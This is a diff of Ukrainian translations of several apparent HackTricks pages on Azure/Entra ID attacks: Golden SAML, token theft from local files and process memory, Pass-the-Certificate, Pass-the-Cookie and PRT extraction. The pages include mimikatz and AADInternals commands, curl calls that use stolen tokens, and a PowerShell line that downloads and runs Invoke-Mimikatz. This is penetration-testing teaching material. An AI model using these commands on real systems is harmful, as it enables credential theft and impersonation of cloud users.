>Ви можете **федеративно з'єднати ваше локальне** середовище **з Azure AD** і використовувати цю федерацію для автентифікації та авторизації. Цей метод входу забезпечує, що вся **автентифікація користувачів відбувається локально**. Цей метод дозволяє адміністраторам впроваджувати більш суворі рівні контролю доступу. Федерація з **AD FS** та PingFederate доступна.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
В основному, у Федерації вся **автентифікація** відбувається в **локальному** середовищі, і користувачі отримують SSO у всіх довірених середовищах. Тому користувачі можуть **доступати** **хмарні** додатки, використовуючи свої **локальні облікові дані**.
|
||||
В основному, у Федерації вся **автентифікація** відбувається в **локальному** середовищі, і користувач отримує SSO у всіх довірених середовищах. Тому користувачі можуть **доступати** **хмарні** додатки, використовуючи свої **локальні облікові дані**.
|
||||
|
||||
**Мова розмітки безпеки (SAML)** використовується для **обміну** всією інформацією про автентифікацію та авторизацію між постачальниками.
|
||||
|
||||
@@ -24,9 +24,9 @@
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. Спочатку користувач отримує доступ до програми (Постачальник послуг або SP, наприклад, консоль AWS або веб-клієнт vSphere). Цей крок може бути пропущений, що призводить до безпосереднього переходу клієнта до IdP (Постачальник ідентичності) залежно від конкретної реалізації.
|
||||
2. Потім SP визначає відповідний IdP (наприклад, AD FS, Okta) для автентифікації користувача. Він формує запит на автентифікацію SAML (Мова розмітки безпеки) і перенаправляє клієнта до вибраного IdP.
|
||||
2. Потім SP визначає відповідний IdP (наприклад, AD FS, Okta) для автентифікації користувача. Він формує запит на автентифікацію SAML (Security Assertion Markup Language) і перенаправляє клієнта до вибраного IdP.
|
||||
3. IdP бере на себе автентифікацію користувача. Після автентифікації IdP формує SAMLResponse і пересилає його до SP через користувача.
|
||||
4. Нарешті, SP оцінює SAMLResponse. Якщо валідація пройшла успішно, що свідчить про довірчі відносини з IdP, користувачу надається доступ. Це позначає завершення процесу входу, що дозволяє користувачу використовувати сервіс.
|
||||
4. Нарешті, SP оцінює SAMLResponse. Якщо валідація пройшла успішно, що свідчить про довірчі відносини з IdP, користувачу надається доступ. Це позначає завершення процесу входу, дозволяючи користувачу використовувати сервіс.
|
||||
|
||||
**Якщо ви хочете дізнатися більше про автентифікацію SAML та поширені атаки, перейдіть за посиланням:**
|
||||
|
||||
@@ -34,13 +34,13 @@
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting
|
||||
## Півотування
|
||||
|
||||
- AD FS - це модель ідентичності на основі заяв.
|
||||
- "..заяви - це просто твердження (наприклад, ім'я, особистість, група), зроблені про користувачів, які використовуються в основному для авторизації доступу до заявлених додатків, розташованих де завгодно в Інтернеті."
|
||||
- AD FS є моделлю ідентичності на основі заяв.
|
||||
- "..заяви - це просто твердження (наприклад, ім'я, особистість, група), зроблені про користувачів, які використовуються в основному для авторизації доступу до заявлених додатків, розташованих будь-де в Інтернеті."
|
||||
- Заяви для користувача записуються всередині SAML токенів і потім підписуються для забезпечення конфіденційності IdP.
|
||||
- Користувач ідентифікується за допомогою ImmutableID. Він є глобально унікальним і зберігається в Azure AD.
|
||||
- ImmutableID зберігається на локальному ms-DS-ConsistencyGuid для користувача і/або може бути отриманий з GUID користувача.
|
||||
- ImmutableID зберігається локально як ms-DS-ConsistencyGuid для користувача і/або може бути отриманий з GUID користувача.
|
||||
- Більше інформації в [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Атака Golden SAML:**
|
||||
@@ -48,18 +48,18 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
- У ADFS SAML Response підписується сертифікатом підпису токенів.
|
||||
- Якщо сертифікат скомпрометований, можливо автентифікуватися в Azure AD як БУДЬ-ЯКИЙ користувач, синхронізований з Azure AD!
|
||||
- Так само, як і в нашому зловживанні PTA, зміна пароля для користувача або MFA не матиме жодного ефекту, оскільки ми підробляємо відповідь на автентифікацію.
|
||||
- Сертифікат можна витягти з сервера AD FS з привілеями DA, а потім його можна використовувати з будь-якого підключеного до Інтернету комп'ютера.
|
||||
- Сертифікат можна витягти з сервера AD FS з привілеями DA, а потім його можна використовувати з будь-якого підключеного до Інтернету пристрою.
|
||||
- Більше інформації в [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
|
||||
Процес, за яким **Постачальник ідентичності (IdP)** генерує **SAMLResponse** для авторизації входу користувача, є надзвичайно важливим. Залежно від конкретної реалізації IdP, **відповідь** може бути **підписана** або **зашифрована** за допомогою **приватного ключа IdP**. Ця процедура дозволяє **Постачальнику послуг (SP)** підтвердити автентичність SAMLResponse, забезпечуючи, що він дійсно був виданий довіреним IdP.
|
||||
Процес, у якому **Постачальник ідентичності (IdP)** генерує **SAMLResponse** для авторизації входу користувача, є надзвичайно важливим. Залежно від конкретної реалізації IdP, **відповідь** може бути **підписана** або **зашифрована** за допомогою **приватного ключа IdP**. Ця процедура дозволяє **Постачальнику послуг (SP)** підтвердити автентичність SAMLResponse, забезпечуючи, що він дійсно був виданий довіреним IdP.
|
||||
|
||||
Можна провести паралель з [атакою золотого квитка](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), де ключ, що автентифікує особу та права користувача (KRBTGT для золотих квитків, приватний ключ підпису токенів для золотого SAML), може бути маніпульований для **підробки об'єкта автентифікації** (TGT або SAMLResponse). Це дозволяє видавати себе за будь-якого користувача, надаючи несанкціонований доступ до SP.
|
||||
|
||||
Золоті SAML мають певні переваги:
|
||||
|
||||
- Їх можна **створити віддалено**, без необхідності бути частиною домену або федерації.
|
||||
- Вони можуть бути **створені віддалено**, без необхідності бути частиною домену або федерації.
|
||||
- Вони залишаються ефективними навіть при **включеній двофакторній автентифікації (2FA)**.
|
||||
- Приватний ключ підпису токенів **не оновлюється автоматично**.
|
||||
- **Зміна пароля користувача не анулює** вже згенерований SAML.
|
||||
@@ -68,7 +68,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
[Служби федерації Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) - це служба Microsoft, яка полегшує **безпечний обмін інформацією про особу** між довіреними бізнес-партнерами (федерація). Вона дозволяє службі домену ділитися ідентичностями користувачів з іншими постачальниками послуг у федерації.
|
||||
|
||||
З AWS, що довіряє скомпрометованому домену (в федерації), цю вразливість можна експлуатувати для потенційного **отримання будь-яких прав у середовищі AWS**. Атака вимагає **приватного ключа, що використовується для підпису SAML об'єктів**, подібно до необхідності мати KRBTGT в атаці золотого квитка. Доступ до облікового запису користувача AD FS є достатнім для отримання цього приватного ключа.
|
||||
З AWS, що довіряє скомпрометованому домену (в федерації), цю вразливість можна експлуатувати для потенційного **отримання будь-яких дозволів у середовищі AWS**. Атака вимагає **приватного ключа, що використовується для підпису SAML об'єктів**, подібно до необхідності мати KRBTGT в атаці золотого квитка. Доступ до облікового запису користувача AD FS є достатнім для отримання цього приватного ключа.
|
||||
|
||||
Вимоги для виконання атаки Golden SAML включають:
|
||||
|
||||
@@ -80,9 +80,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
- Ім'я сесії ролі в AWS
|
||||
- Ідентифікатор облікового запису Amazon
|
||||
|
||||
_Тільки елементи, виділені жирним, є обов'язковими. Інші можна заповнити за бажанням._
|
||||
_Тільки елементи, виділені жирним шрифтом, є обов'язковими. Інші можна заповнити за бажанням._
|
||||
|
||||
Щоб отримати **приватний ключ**, необхідний доступ до **облікового запису користувача AD FS**. Звідти приватний ключ можна **експортувати з особистого сховища** за допомогою таких інструментів, як [mimikatz](https://github.com/gentilkiwi/mimikatz). Щоб зібрати іншу необхідну інформацію, ви можете використовувати Microsoft.Adfs.Powershell snapin наступним чином, переконавшись, що ви увійшли як користувач ADFS:
|
||||
Щоб отримати **приватний ключ**, необхідний доступ до **облікового запису користувача AD FS**. Звідти приватний ключ можна **експортувати з особистого сховища** за допомогою таких інструментів, як [mimikatz](https://github.com/gentilkiwi/mimikatz). Щоб зібрати іншу необхідну інформацію, ви можете використовувати модуль Microsoft.Adfs.Powershell наступним чином, переконавшись, що ви увійшли як користувач ADFS:
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -132,7 +132,7 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate a user to to access cloud apps
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
Також можливо створити ImmutableID для користувачів лише в хмарі та видавати з себе їх.
|
||||
Також можливо створити ImmutableID для користувачів лише в хмарі та видавати себе за них.
|
||||
```bash
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
@@ -3,20 +3,20 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Примусова синхронізація користувачів Entra ID з локальним
|
||||
## Примусова синхронізація користувачів Entra ID з on-prem
|
||||
|
||||
Як згадувалося в [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), було можливим змінити значення **`ProxyAddress`** у користувача AD в локальному AD, додавши електронну пошту адміністратора Entra ID та також переконавшись, що UPN користувача в AD та в Entra ID збігаються (це знову Entra ID), як **`SMTP:admin@domain.onmicrosoft.com`**. І це **примусить синхронізацію цього користувача** з Entra ID до локального AD, тому якщо пароль користувача був відомий, його можна було б використати для **доступу до адміністратора в Entra ID.**
|
||||
Як згадувалося в [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), було можливим змінити значення **`ProxyAddress`** всередині користувача AD в on-prem, додавши електронну пошту адміністратора Entra ID та також переконавшись, що UPN користувача в AD та в Entra ID збігаються (це знову Entra ID), як **`SMTP:admin@domain.onmicrosoft.com`**. І це **примусить синхронізацію цього користувача** з Entra ID до on-prem AD, тому якщо пароль користувача був відомий, його можна було б використати для **доступу до адміністратора в Entra ID.**
|
||||
|
||||
Щоб синхронізувати нового користувача з Entra ID до локального AD, ці вимоги є єдиними вимогами:
|
||||
Щоб синхронізувати нового користувача з Entra ID до on-prem AD, ці вимоги є єдиними вимогами:
|
||||
|
||||
- Контролювати атрибути користувача в локальному AD (або мати дозволи на створення нових користувачів)
|
||||
- Знати користувача, який існує тільки в хмарі, щоб синхронізувати з Entra ID до локального AD
|
||||
- Вам також може знадобитися змінити атрибут immutableID з користувача Entra ID на користувача локального AD, щоб зробити **жорстке співпадіння**.
|
||||
- Контролювати атрибути користувача в on-prem AD (або мати дозволи на створення нових користувачів)
|
||||
- Знати користувача, який є тільки в хмарі, щоб синхронізувати з Entra ID до on-prem AD
|
||||
- Вам також може знадобитися змінити атрибут immutableID з користувача Entra ID на користувача on-prem AD, щоб зробити **жорстке співпадіння**.
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID більше не дозволяє синхронізувати адміністраторів з Entra ID до локального AD.
|
||||
> Також це **не обійде MFA**.
|
||||
> Entra ID більше не дозволяє синхронізувати адміністраторів з Entra ID до on-prem AD.
|
||||
> Також, це **не обійде MFA**.
|
||||
|
||||
|
||||
|
||||
@@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Локальне Зберігання Токенів та Розгляд Безпеки
|
||||
## Локальне Зберігання Токенів та Питання Безпеки
|
||||
|
||||
### Azure CLI (Інтерфейс Командного Рядка)
|
||||
|
||||
Токени та чутливі дані зберігаються локально Azure CLI, що викликає занепокоєння щодо безпеки:
|
||||
|
||||
1. **Токени Доступу**: Зберігаються у відкритому вигляді в `accessTokens.json`, розташованому за адресою `C:\Users\<username>\.Azure`.
|
||||
2. **Інформація про Підписку**: `azureProfile.json`, у тій же директорії, містить деталі підписки.
|
||||
3. **Лог-файли**: Папка `ErrorRecords` у `.azure` може містити журнали з відкритими обліковими даними, такими як:
|
||||
1. **Токени Доступу**: Зберігаються у відкритому тексті в `accessTokens.json`, розташованому за адресою `C:\Users\<username>\.Azure`.
|
||||
2. **Інформація про Підписку**: `azureProfile.json`, в тому ж каталозі, містить деталі підписки.
|
||||
3. **Лог-файли**: Папка `ErrorRecords` в `.azure` може містити журнали з відкритими обліковими даними, такі як:
|
||||
- Виконані команди з вбудованими обліковими даними.
|
||||
- URL-адреси, доступ до яких здійснювався за допомогою токенів, що потенційно розкриває чутливу інформацію.
|
||||
|
||||
@@ -18,22 +18,42 @@
|
||||
|
||||
Azure PowerShell також зберігає токени та чутливі дані, до яких можна отримати доступ локально:
|
||||
|
||||
1. **Токени Доступу**: `TokenCache.dat`, розташований за адресою `C:\Users\<username>\.Azure`, зберігає токени доступу у відкритому вигляді.
|
||||
2. **Секрети Сервісного Принципала**: Ці дані зберігаються у незашифрованому вигляді в `AzureRmContext.json`.
|
||||
1. **Токени Доступу**: `TokenCache.dat`, розташований за адресою `C:\Users\<username>\.Azure`, зберігає токени доступу у відкритому тексті.
|
||||
2. **Секрети Службового Принципала**: Ці дані зберігаються у незашифрованому вигляді в `AzureRmContext.json`.
|
||||
3. **Функція Збереження Токенів**: Користувачі мають можливість зберігати токени за допомогою команди `Save-AzContext`, яку слід використовувати обережно, щоб запобігти несанкціонованому доступу.
|
||||
|
||||
## Автоматичні Інструменти для їх Пошуку
|
||||
### Автоматичні Інструменти для їх знаходження
|
||||
|
||||
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
|
||||
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
|
||||
|
||||
## Рекомендації з Безпеки
|
||||
## Токени в пам'яті
|
||||
|
||||
Враховуючи зберігання чутливих даних у відкритому вигляді, важливо забезпечити безпеку цих файлів та директорій шляхом:
|
||||
Як пояснюється в [**цьому відео**](https://www.youtube.com/watch?v=OHKZkXC4Duw), деяке програмне забезпечення Microsoft, синхронізоване з хмарою (Excel, Teams...), може **зберігати токени доступу у відкритому тексті в пам'яті**. Тому просто **дампінг** **пам'яті** процесу та **grep** для JWT токенів може надати вам доступ до кількох ресурсів жертви в хмарі, обминаючи MFA.
|
||||
|
||||
- Обмеження прав доступу до цих файлів.
|
||||
- Регулярного моніторингу та аудиту цих директорій на предмет несанкціонованого доступу або несподіваних змін.
|
||||
- Використання шифрування для чутливих файлів, де це можливо.
|
||||
- Освіти користувачів щодо ризиків та найкращих практик обробки таких чутливих даних.
|
||||
Кроки:
|
||||
|
||||
1. Дамп процесів Excel, синхронізованих з користувачем EntraID, за допомогою вашого улюбленого інструменту.
|
||||
2. Виконайте: `string excel.dmp | grep 'eyJ0'` і знайдіть кілька токенів у виході.
|
||||
3. Знайдіть токени, які вас найбільше цікавлять, і запустіть над ними інструменти:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**Зверніть увагу, що такі токени доступу також можуть бути знайдені всередині інших процесів.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
В Azure приєднані машини можуть аутентифікуватися з однієї машини на іншу, використовуючи сертифікати, які **повинні бути видані Entra ID CA** для потрібного користувача (як суб'єкт), коли обидві машини підтримують механізм аутентифікації **NegoEx**.
|
||||
В Azure приєднані машини можуть аутентифікуватися з однієї машини на іншу, використовуючи сертифікати, які **повинні бути видані Entra ID CA** для потрібного користувача (як суб'єкта), коли обидві машини підтримують механізм аутентифікації **NegoEx**.
|
||||
|
||||
У спрощених термінах:
|
||||
У супер спрощених термінах:
|
||||
|
||||
- Машина (клієнт), що ініціює з'єднання, **потребує сертифікат від Entra ID для користувача**.
|
||||
- Клієнт створює заголовок JSON Web Token (JWT), що містить PRT та інші деталі, підписує його, використовуючи похідний ключ (з використанням ключа сесії та контексту безпеки), і **надсилає його до Entra ID**.
|
||||
- Entra ID перевіряє підпис JWT, використовуючи ключ сесії клієнта та контекст безпеки, перевіряє дійсність PRT і **відповідає** з **сертифікатом**.
|
||||
- Клієнт створює заголовок JSON Web Token (JWT), що містить PRT та інші деталі, підписує його, використовуючи похідний ключ (з використанням сеансового ключа та контексту безпеки), і **надсилає його до Entra ID**.
|
||||
- Entra ID перевіряє підпис JWT, використовуючи сеансовий ключ клієнта та контекст безпеки, перевіряє дійсність PRT і **відповідає** з **сертифікатом**.
|
||||
|
||||
У цьому сценарії, після збору всієї необхідної інформації для атаки [**Pass the PRT**](pass-the-prt.md):
|
||||
У цьому сценарії та після збору всієї необхідної інформації для атаки [**Pass the PRT**](az-primary-refresh-token-prt.md):
|
||||
|
||||
- Ім'я користувача
|
||||
- ID орендаря
|
||||
@@ -24,7 +24,7 @@
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
Сертифікати будуть діяти так само, як і PRT. Щоб використовувати сертифікат, ви можете скористатися інструментом python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC), який **автентифікується** на віддаленій машині, запускає **PSEXEC** і **відкриває CMD** на машині жертви. Це дозволить нам знову використовувати Mimikatz, щоб отримати PRT іншого користувача.
|
||||
Сертифікати будуть діяти так само, як і PRT. Щоб використовувати сертифікат, ви можете скористатися інструментом python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC), який **автентифікує** на віддаленій машині, запускає **PSEXEC** і **відкриває CMD** на машині жертви. Це дозволить нам знову використовувати Mimikatz, щоб отримати PRT іншого користувача.
|
||||
```bash
|
||||
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
|
||||
@@ -14,7 +14,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
## Атака
|
||||
|
||||
Складна частина полягає в тому, що ці **куки зашифровані** для **користувача** через Microsoft Data Protection API (**DPAPI**). Це зашифровано за допомогою криптографічних [ключів, пов'язаних з користувачем](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html), до яких належать куки. Ви можете знайти більше інформації про це в:
|
||||
Складна частина полягає в тому, що ці **куки зашифровані** для **користувача** через Microsoft Data Protection API (**DPAPI**). Це зашифровано за допомогою криптографічних [ключів, прив'язаних до користувача](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html), до яких належать куки. Ви можете знайти більше інформації про це в:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
@@ -24,7 +24,7 @@ https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escala
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
Для Azure нас цікавлять файли cookie аутентифікації, включаючи **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** та **`ESTSAUTHLIGHT`**. Вони там, оскільки користувач нещодавно був активний в Azure.
|
||||
Для Azure нас цікавлять файли cookie аутентифікації, включаючи **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** та **`ESTSAUTHLIGHT`**. Вони там, тому що користувач нещодавно був активний в Azure.
|
||||
|
||||
Просто перейдіть на login.microsoftonline.com і додайте файл cookie **`ESTSAUTHPERSISTENT`** (згенерований опцією “Залишатися в системі”) або **`ESTSAUTH`**. І ви будете аутентифіковані.
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
**Primary Refresh Token (PRT)** - це довгостроковий токен оновлення, що використовується в аутентифікації Azure AD (Entra ID), аналогічний Kerberos TGT. Він видається під час входу користувача на пристрій, приєднаний до Azure AD, і може використовуватися для запиту токенів доступу для різних додатків без повторного запиту облікових даних. Кожен PRT супроводжується **ключем сесії** (також званим ключем доказу володіння) - симетричним ключем, що використовується для підписання запитів і доведення того, що клієнт має PRT. Сам PRT є непрозорим, зашифрованим об'єктом (нечитаним клієнтом), тоді як ключ сесії використовується для **підписання** JWT, що містить PRT під час запиту токенів. Іншими словами, володіння лише PRT недостатньо; зловмисник потребує ключа сесії, щоб довести легітимність, подібно до того, як потрібно мати як Kerberos TGT, так і його ключ сесії для аутентифікації.
|
||||
|
||||
На Windows PRT і ключ сесії кешуються в процесі LSASS через плагін CloudAP. Якщо пристрій має **TPM** (модуль довірчої платформи), Azure AD прив'язує ключі до TPM для додаткової безпеки. Це означає, що на пристроях з TPM ключ сесії зберігається або використовується в межах TPM так, що його не можна безпосередньо прочитати з пам'яті за звичайних обставин. Якщо TPM недоступний (наприклад, на багатьох віртуальних машинах або старих системах), ключі зберігаються в програмному забезпеченні та захищені шифруванням DPAPI. В обох випадках зловмисник з адміністративними привілеями або виконанням коду на машині може спробувати **вивантажити PRT і ключ сесії з пам'яті** в рамках пост-експлуатації, а потім використовувати їх для підробки користувача в хмарі.
|
||||
На Windows PRT і ключ сесії кешуються в процесі LSASS через плагін CloudAP. Якщо пристрій має **TPM** (модуль довірчої платформи), Azure AD прив'язує ключі до TPM для додаткової безпеки. Це означає, що на пристроях з TPM ключ сесії зберігається або використовується в межах TPM так, що його не можна безпосередньо прочитати з пам'яті за звичайних обставин. Якщо TPM недоступний (наприклад, на багатьох віртуальних машинах або старих системах), ключі зберігаються в програмному забезпеченні та захищені шифруванням DPAPI. У обох випадках зловмисник з адміністративними привілеями або виконанням коду на машині може спробувати **вивантажити PRT і ключ сесії з пам'яті** в рамках пост-експлуатації, а потім використовувати їх для видавання себе за користувача в хмарі.
|
||||
На відміну від звичайних токенів оновлення (які зазвичай специфічні для додатка), PRT є більш універсальним, дозволяючи вашому пристрою запитувати токени для майже будь-якого ресурсу або служби, інтегрованої з Entra ID.
|
||||
|
||||
## Як працює PRT?
|
||||
@@ -39,7 +39,7 @@
|
||||
|
||||
- **Універсальний доступ:** На відміну від звичайних токенів, обмежених одним додатком або ресурсом, PRT може полегшити доступ до всіх служб, інтегрованих з Entra ID.
|
||||
|
||||
- **Покращена безпека:** Завдяки вбудованим апаратним захистам (таким як TPM) PRT забезпечують безпечне зберігання та використання токенів.
|
||||
- **Покращена безпека:** Завдяки вбудованим апаратним захистам (таким як TPM), PRT забезпечують безпечне зберігання та використання токенів.
|
||||
|
||||
- **Досвід користувача:** PRT значно покращують досвід користувача, зменшуючи часті запити на аутентифікацію та забезпечуючи справжнє безшовне SSO.
|
||||
|
||||
@@ -62,14 +62,22 @@ dsregcmd /status
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Витягування та використання незахищених PRT
|
||||
## Передача PRT
|
||||
|
||||
Згідно з [цією публікацією](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) на пристроях Windows **без прив'язки до TPM**, PRT та його сеансовий ключ знаходяться в LSASS (плагін CloudAP). Маючи локальні права адміністратора/SYSTEM на цьому пристрої, PRT-об'єкт та сеансовий ключ, зашифрований DPAPI, можна **зчитати з LSASS, сеансовий ключ розшифрувати за допомогою DPAPI, а ключ підпису отримати** для створення дійсного PRT-куки (`x‑ms‑RefreshTokenCredential`). Вам потрібні як PRT, так і його сеансовий ключ — рядка PRT недостатньо.
|
||||
Згідно з [цією публікацією](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) на пристроях Windows **без прив'язки до TPM**, PRT та його ключ сесії знаходяться в LSASS (плагін CloudAP). Маючи локальні права адміністратора/SYSTEM на цьому пристрої, PRT blob та ключ сесії, зашифрований DPAPI, можна **зчитати з LSASS, розшифрувати ключ сесії за допомогою DPAPI та отримати підписний ключ** для створення дійсного PRT cookie (`x‑ms‑RefreshTokenCredential`). Вам потрібні як PRT, так і його ключ сесії — рядка PRT недостатньо.
|
||||
|
||||
### Mimikatz
|
||||
|
||||
1. **PRT (Primary Refresh Token) витягується з LSASS** (Служба підсистеми локальної безпеки) та зберігається для подальшого використання.
|
||||
2. **Ключ сесії витягується наступним**. Оскільки цей ключ спочатку видається, а потім повторно шифрується локальним пристроєм, його необхідно розшифрувати за допомогою майстер-ключа DPAPI. Докладну інформацію про DPAPI (API захисту даних) можна знайти в цих ресурсах: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html), а для розуміння його застосування зверніться до [атаки Pass-the-cookie](az-pass-the-cookie.md).
|
||||
3. Після розшифровки ключа сесії, **отримуються похідний ключ та контекст для PRT**. Вони є критично важливими для **створення PRT cookie**. Зокрема, похідний ключ використовується для підписання JWT (JSON Web Token), що складає cookie. Докладне пояснення цього процесу надав Дірк-ян, доступне [тут](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
Поле **PRT** містить зашифрований токен оновлення (зазвичай рядок base64), а KeyValue в ProofOfPossessionKey є зашифрованим за допомогою DPAPI сеансовим ключем (також base64).
|
||||
|
||||
@@ -79,11 +87,14 @@ sekurlsa::cloudap
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
|
||||
# PowerShell version
|
||||
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
|
||||
```
|
||||
`token::elevate` буде імплементувати SYSTEM, а команда `dpapi::cloudapkd` з параметром `/unprotect` використає майстер-ключ DPAPI для розшифрування наданого KeyValue блобу. Це дає відкритий текст сесійного ключа, а також пов'язаний Derived Key та Context, використані для підпису:
|
||||
- **Clear key** – 32-байтовий сесійний ключ у відкритому тексті (представлений у вигляді шістнадцяткового рядка).
|
||||
- **Derived Key** – 32-байтовий ключ, отриманий з сесійного ключа та значення контексту (більше про це нижче).
|
||||
- **Context** – 24-байтовий випадковий контекст, який використовувався при отриманні підписного ключа для PRT cookie.
|
||||
- **Context** – 24-байтовий випадковий контекст, який використовувався під час отримання підписного ключа для PRT cookie.
|
||||
|
||||
> [!NOTE]
|
||||
> Якщо це не працює для вас, щоб імплементувати користувача, перевірте наступний розділ, використовуючи **`AADInternals`**.
|
||||
@@ -99,8 +110,7 @@ Mimikatz виведе підписаний JWT (кукі `PRT`) після ря
|
||||
|
||||
Ви також можете використовувати **`roadtx`** і **`roadrecon`** з PRT кукі, щоб видавати себе за користувача *(TODO: Знайти точні команди для використання roadtx/roadrecon для отримання облікових даних з PRT)*.
|
||||
|
||||
|
||||
### AADInternals
|
||||
### Mimikatz + AADInternals
|
||||
|
||||
Модуль PowerShell **`AADInternals`** також можна використовувати з раніше отриманим PRT і ключем сесії для генерації дійсного токена PRT. Це корисно для автоматизації процесу отримання нового токена PRT з nonce, який можна використовувати для отримання токенів доступу для Azure AD Graph API або інших ресурсів:
|
||||
```bash
|
||||
@@ -126,31 +136,50 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
Це отримує новий PRT cookie (з nonce) і потім використовує його для отримання токена доступу для Azure AD Graph API (демонструючи доступ до хмари від імені користувача). AADInternals абстрагує більшість криптографії та використовує компоненти Windows або свою власну логіку під капотом.
|
||||
